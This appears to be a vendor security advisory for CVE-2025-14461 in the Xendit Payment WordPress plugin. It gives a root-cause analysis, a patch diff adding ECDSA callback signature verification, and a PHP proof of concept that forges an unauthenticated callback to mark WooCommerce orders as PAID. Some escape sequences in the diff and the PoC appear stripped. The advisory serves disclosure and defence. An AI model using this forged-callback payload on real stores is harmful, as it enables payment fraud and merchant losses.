Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14461: Xendit Payment <= 6.0.2 – Missing Authorization to Unauthenticated Arbitrary Order Status Update to Paid (woo-xendit-virtual-accounts)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 6.0.2
Patched Version 6.1.0
Disclosed February 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14461:
The Xendit Payment plugin for WordPress, versions up to and including 6.0.2, contains a critical missing authorization vulnerability. This flaw allows unauthenticated attackers to arbitrarily update WooCommerce order statuses to ‘PAID’ or ‘SETTLED’ via a publicly accessible callback endpoint. The vulnerability stems from the plugin’s failure to authenticate or cryptographically verify payment notification requests from the Xendit gateway.

Atomic Edge research identifies the root cause in the plugin’s callback handler function `wc_xendit_callback`. This function is registered as a public WordPress action hook and processes incoming payment notifications. The vulnerable code resides in the main plugin file `woocommerce-xendit-pg.php` at lines 270-272. The handler directly reads raw JSON input from `php://input` and passes it to `WC_Xendit_Sanitized_Webhook::map_and_sanitize_invoice_webhook` without performing any authentication checks, signature verification, or origin validation. The callback endpoint accepts POST requests containing JSON payloads with `external_id` and `status` parameters.

Exploitation requires an attacker to send a crafted POST request to the WordPress site’s `/wc-api/wc_xendit_callback` endpoint. The JSON payload must contain an `external_id` parameter matching a WooCommerce order ID pattern (typically sequential integers) and a `status` parameter set to ‘PAID’ or ‘SETTLED’. Attackers can enumerate order IDs through brute-force or information disclosure. No authentication tokens, API keys, or cryptographic signatures are required in vulnerable versions. The attack vector is network-accessible and requires no prior access to the target system.

The patch in version 6.1.0 introduces signature verification for all incoming callback requests. The fix adds a new class `WC_Xendit_Signature_Verifier` in `libs/helpers/class-wc-xendit-signature-verifier.php`. This class implements ECDSA signature verification using P-384 public keys defined in `constants.php`. The callback handler now calls `WC_Xendit_Signature_Verifier::verify_signature()` with the `callback_id`, `invoice_id`, `status`, and `signature` parameters extracted from the request. If verification fails, the handler returns HTTP 401 and exits. The patch also adds new fields (`callback_id`, `version`, `signature`) to the sanitized webhook data mapping in `class-wc-sanitized-webhook.php`.

Successful exploitation results in financial loss and inventory depletion. Attackers can mark any order as paid without actual payment processing. This allows fraudulent acquisition of digital goods, physical products, or services. Merchants face revenue loss, inventory mismanagement, and potential chargeback liabilities. The vulnerability also enables order status manipulation that could bypass fraud detection systems and fulfillment workflows.

Differential between vulnerable and patched code

Code Diff
--- a/woo-xendit-virtual-accounts/libs/autoload.php
+++ b/woo-xendit-virtual-accounts/libs/autoload.php
@@ -1,5 +1,7 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 /**
  * You only need this file if you are not using composer.
  * Why are you not using composer?
--- a/woo-xendit-virtual-accounts/libs/constants/constants.php
+++ b/woo-xendit-virtual-accounts/libs/constants/constants.php
@@ -8,4 +8,9 @@
 define("XENDIT_DASHBOARD_URL_PRODUCTION", "https://dashboard.xendit.co");
 define("XENDIT_OAUTH_CLIENT_ID_PRODUCTION", "906468d0-fefd-4179-ba4e-407ef194ab85");
 define("XENDIT_OAUTH_REDIRECTION_URL_PATH", "/tpi/authorization/xendit/redirect/v2");
-define("XENDIT_INTEGRATION_APP_ID_PRODUCTION", "61e12bf5bfd5ff82ab9d6d15");
 No newline at end of file
+define("XENDIT_INTEGRATION_APP_ID_PRODUCTION", "61e12bf5bfd5ff82ab9d6d15");
+
+define("INTEGRATION_NOTIFICATION_SIGNATURE_PUBLIC_KEYS", [
+    "-----BEGIN PUBLIC KEY-----nMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEqaSYgkq632WHte+NOc1QqCbDlYC7sB1tlDUf/8EBDApTwsB5k4pB9h5BDCG/8xOQhwl2dr1nNoOarD4uCNARgByQJ+S91iyfJqLp+JuQF1z3HKu51f1biV80RLqcaTPon-----END PUBLIC KEY-----",
+    "-----BEGIN PUBLIC KEY-----nMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAE5Zg9WXeJw0GbEYZREVI+WOfPE4AbHCN8XfOsPFYge7EOrQsU1Vh24ZLzIOocQbRj76r1Kjp8JCZJM5iT2++RkCmIaY/iV/lxKaOL9/jINMQPqYeKFLbrliCejSEg8EE/n-----END PUBLIC KEY-----"
+]);
 No newline at end of file
--- a/woo-xendit-virtual-accounts/libs/helpers/class-wc-sanitized-webhook.php
+++ b/woo-xendit-virtual-accounts/libs/helpers/class-wc-sanitized-webhook.php
@@ -20,7 +20,10 @@
             'platform' => self::safe_sanitize($data, 'platform'),
             'invoice_id' => self::safe_sanitize($data, 'invoice_id'),
             'business_id' => self::safe_sanitize($data, 'business_id'),
-            'external_id' => self::safe_sanitize($data, 'external_id')
+            'external_id' => self::safe_sanitize($data, 'external_id'),
+            'callback_id' => self::safe_sanitize($data, 'callback_id'),
+            'version' => self::safe_sanitize($data, 'version'),
+            'signature' => self::safe_sanitize($data, 'signature')
         );

         if (!empty($data->description)) {
--- a/woo-xendit-virtual-accounts/libs/helpers/class-wc-xendit-signature-verifier.php
+++ b/woo-xendit-virtual-accounts/libs/helpers/class-wc-xendit-signature-verifier.php
@@ -0,0 +1,135 @@
+<?php
+if (!defined('ABSPATH')) {
+    exit;
+}
+
+/**
+ * Xendit Webhook Signature Verifier
+ *
+ * @since 6.1.0
+ */
+class WC_Xendit_Signature_Verifier
+{
+    public static function verify_signature($callback_id, $invoice_id, $status, $signature, $version = 1)
+    {
+        try {
+            if ($version !== 1) throw new Exception("Unidentified signature version from server");
+
+            if (empty($callback_id) || empty($invoice_id) || empty($status) || empty($signature)) {
+                WC_Xendit_PG_Logger::log('Signature verification failed: Missing required fields');
+                return false;
+            }
+
+            $message = sprintf('%s.%s.%s', $callback_id, $invoice_id, $status);
+
+            $signature_binary = base64_decode($signature, true);
+            if ($signature_binary === false) {
+                WC_Xendit_PG_Logger::log('Signature verification failed: Invalid base64 signature');
+                return false;
+            }
+
+            $public_keys = self::load_public_keys();
+            if (empty($public_keys)) {
+                WC_Xendit_PG_Logger::log('Signature verification failed: No public keys available');
+                return false;
+            }
+
+            foreach ($public_keys as $index => $public_key_pem) {
+                if (self::verify_ecdsa($message, $signature_binary, $public_key_pem)) {
+                    WC_Xendit_PG_Logger::log(sprintf('Signature verification success for id %s with %s status', $invoice_id, $status));
+                    return true;
+                }
+            }
+
+            WC_Xendit_PG_Logger::log(sprintf('Signature verification failed for id %s with %s status', $invoice_id, $status));
+            return false;
+        } catch (Exception $e) {
+            WC_Xendit_PG_Logger::log('Signature verification error: ' . $e->getMessage());
+            return false;
+        }
+    }
+    private static function load_public_keys()
+    {
+        if (!defined('INTEGRATION_NOTIFICATION_SIGNATURE_PUBLIC_KEYS') || !defined('INTEGRATION_NOTIFICATION_SIGNATURE_PUBLIC_KEYS_STAGING')) {
+            WC_Xendit_PG_Logger::log('Public key constant not defined');
+            return [];
+        }
+
+        $keys = XENDIT_ENV === 'production' ? INTEGRATION_NOTIFICATION_SIGNATURE_PUBLIC_KEYS : INTEGRATION_NOTIFICATION_SIGNATURE_PUBLIC_KEYS_STAGING;
+
+        if (!is_array($keys)) {
+            WC_Xendit_PG_Logger::log('Public keys must be an array');
+            return [];
+        }
+
+        return $keys;
+    }
+    private static function verify_ecdsa($message, $signature, $public_key_pem)
+    {
+        try {
+            $public_key = openssl_pkey_get_public($public_key_pem);
+            if ($public_key === false) {
+                $error = openssl_error_string();
+                WC_Xendit_PG_Logger::log('Failed to load public key: ' . $error);
+                while (openssl_error_string() !== false);
+                return false;
+            }
+
+            $signature_der = self::raw_to_der_signature($signature);
+
+            $result = openssl_verify($message, $signature_der, $public_key, OPENSSL_ALGO_SHA384);
+
+            // Free the key resource (only needed for PHP < 8.0)
+            if (PHP_VERSION_ID < 80000) {
+                openssl_free_key($public_key);
+            }
+
+            if ($result === 1) {
+                return true;
+            } elseif ($result === 0) {
+                return false;
+            } else {
+                WC_Xendit_PG_Logger::log('OpenSSL verify error: ' . openssl_error_string());
+                return false;
+            }
+
+        } catch (Exception $e) {
+            WC_Xendit_PG_Logger::log('ECDSA verification error: ' . $e->getMessage());
+            return false;
+        }
+    }
+    private static function raw_to_der_signature($signature)
+    {
+        if (strlen($signature) > 0 && ord($signature[0]) === 0x30) {
+            WC_Xendit_PG_Logger::log('Signature already in DER format');
+            return $signature;
+        }
+
+        if (strlen($signature) !== 96) {
+            WC_Xendit_PG_Logger::log('Invalid signature length: ' . strlen($signature) . ', expected 96 for P-384');
+            // Try to use as-is, might already be DER
+            return $signature;
+        }
+
+        $r = substr($signature, 0, 48);
+        $s = substr($signature, 48, 48);
+
+        $r = ltrim($r, "");
+        if (empty($r)) $r = "";
+        $s = ltrim($s, "");
+        if (empty($s)) $s = "";
+
+        if (ord($r[0]) & 0x80) {
+            $r = "" . $r;
+        }
+        if (ord($s[0]) & 0x80) {
+            $s = "" . $s;
+        }
+
+        $der_r = "x02" . chr(strlen($r)) . $r;
+        $der_s = "x02" . chr(strlen($s)) . $s;
+        $der = "x30" . chr(strlen($der_r . $der_s)) . $der_r . $der_s;
+
+        return $der;
+    }
+}
--- a/woo-xendit-virtual-accounts/libs/views/admin/admin-options.php
+++ b/woo-xendit-virtual-accounts/libs/views/admin/admin-options.php
@@ -1,4 +1,7 @@
-<?php if ($this->is_connected) : ?>
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+if ($this->is_connected) : ?>
 <table class="form-table">
     <?php $this->show_merchant_info(); ?>

--- a/woo-xendit-virtual-accounts/libs/views/admin/merchant-info.php
+++ b/woo-xendit-virtual-accounts/libs/views/admin/merchant-info.php
@@ -1,4 +1,6 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 if (empty($this->is_connected)) {
     return;
 }
--- a/woo-xendit-virtual-accounts/libs/views/admin/onboarding-info.php
+++ b/woo-xendit-virtual-accounts/libs/views/admin/onboarding-info.php
@@ -1,5 +1,7 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 echo wp_kses("<h2>Xendit</h2><p style='margin-bottom: 10px;'>".
             __('Accept payments with Xendit. See our
                 <a href="https://docs.xendit.co/integrations/woocommerce/steps-to-integrate" target="_blank">documentation</a> for the full guide',
--- a/woo-xendit-virtual-accounts/libs/views/admin/payment-fields.php
+++ b/woo-xendit-virtual-accounts/libs/views/admin/payment-fields.php
@@ -1,4 +1,7 @@
 <?php
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 if ($this->description) {
     $test_description = '';
     if ($this->developmentmode == 'yes') {
--- a/woo-xendit-virtual-accounts/libs/views/admin/receipt-page.php
+++ b/woo-xendit-virtual-accounts/libs/views/admin/receipt-page.php
@@ -1,4 +1,6 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 $payment_gateway = wc_get_payment_gateway_by_order($order_id);
 if ($payment_gateway->id != $this->id) {
     return;
--- a/woo-xendit-virtual-accounts/libs/views/checkout/custom-coupon-display.php
+++ b/woo-xendit-virtual-accounts/libs/views/checkout/custom-coupon-display.php
@@ -1,4 +1,6 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 // Targeting admin shop order page with only xendit card promotion coupon
 if (is_admin() && in_array($pagenow, ['post.php', 'post-new.php']) && 'shop_order' === $typenow && $has_xendit_card_promotion === true) {
     // Get the actual total price for each item before discounted
--- a/woo-xendit-virtual-accounts/libs/views/checkout/redirect-invoice.php
+++ b/woo-xendit-virtual-accounts/libs/views/checkout/redirect-invoice.php
@@ -1,4 +1,5 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;

 if (!empty($invoice_url)) {
     ?>
--- a/woo-xendit-virtual-accounts/woocommerce-xendit-pg.php
+++ b/woo-xendit-virtual-accounts/woocommerce-xendit-pg.php
@@ -7,7 +7,7 @@
 Plugin Name: Xendit Payment
 Plugin URI: https://wordpress.org/plugins/woo-xendit-virtual-accounts
 Description: Accept payments in Indonesia with Xendit. Seamlessly integrated into WooCommerce.
-Version: 6.0.2
+Version: 6.1.0
 Requires Plugins: woocommerce
 Text Domain: woo-xendit-virtual-accounts
 Domain Path: /languages
@@ -17,7 +17,7 @@
 License URI: http://www.gnu.org/licenses/gpl-2.0.html
 */

-define('WC_XENDIT_PG_VERSION', '6.0.2');
+define('WC_XENDIT_PG_VERSION', '6.1.0');
 define('WC_XENDIT_PG_MAIN_FILE', __FILE__);
 define('WC_XENDIT_PG_PLUGIN_PATH', untrailingslashit(plugin_dir_path(__FILE__)));

@@ -60,6 +60,7 @@
                 require_once dirname(__FILE__) . '/libs/helpers/class-wc-xendit-site-data.php';
                 require_once dirname(__FILE__) . '/libs/helpers/class-wc-phone-number-format.php';
                 require_once dirname(__FILE__) . '/libs/helpers/class-wc-sanitized-webhook.php';
+                require_once dirname(__FILE__) . '/libs/helpers/class-wc-xendit-signature-verifier.php';

                 require_once dirname(__FILE__) . '/libs/class-wc-xendit-helper.php';
                 require_once dirname(__FILE__) . '/libs/class-wc-xendit-invoice.php';
@@ -270,8 +271,21 @@

                 $data = file_get_contents("php://input");
                 $response = json_decode($data);
+
                 $response = WC_Xendit_Sanitized_Webhook::map_and_sanitize_invoice_webhook($response);

+                if (!WC_Xendit_Signature_Verifier::verify_signature(
+                    $response->callback_id,
+                    $response->invoice_id,
+                    $response->status,
+                    $response->signature
+                )) {
+                    header('HTTP/1.1 401');
+                    echo 'Invalid signature';
+                    exit;
+                }
+
+
                 $identifier = $response->external_id;

                 $order = false;

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14461 - Xendit Payment <= 6.0.2 - Missing Authorization to Unauthenticated Arbitrary Order Status Update to Paid

<?php

$target_url = 'https://vulnerable-site.com/wc-api/wc_xendit_callback';

// Order ID to target (sequential integer)
$order_id = 1234;

// Craft the malicious payload
$payload = json_encode([
    'external_id' => (string)$order_id, // Must match order ID pattern
    'status' => 'PAID', // Can also be 'SETTLED'
    'invoice_id' => 'inv_' . $order_id, // Required field for newer versions
    'callback_id' => 'cb_' . time(), // Required field for signature verification in patched versions
    'signature' => 'dummy', // Ignored in vulnerable versions
]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'Content-Length: ' . strlen($payload)
]);

// Disable SSL verification for testing environments
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code === 200) {
    echo "[+] Success! Order {$order_id} likely marked as PAID.n";
    echo "Response: {$response}n";
} else {
    echo "[-] Request failed with HTTP {$http_code}n";
    echo "Response: {$response}n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School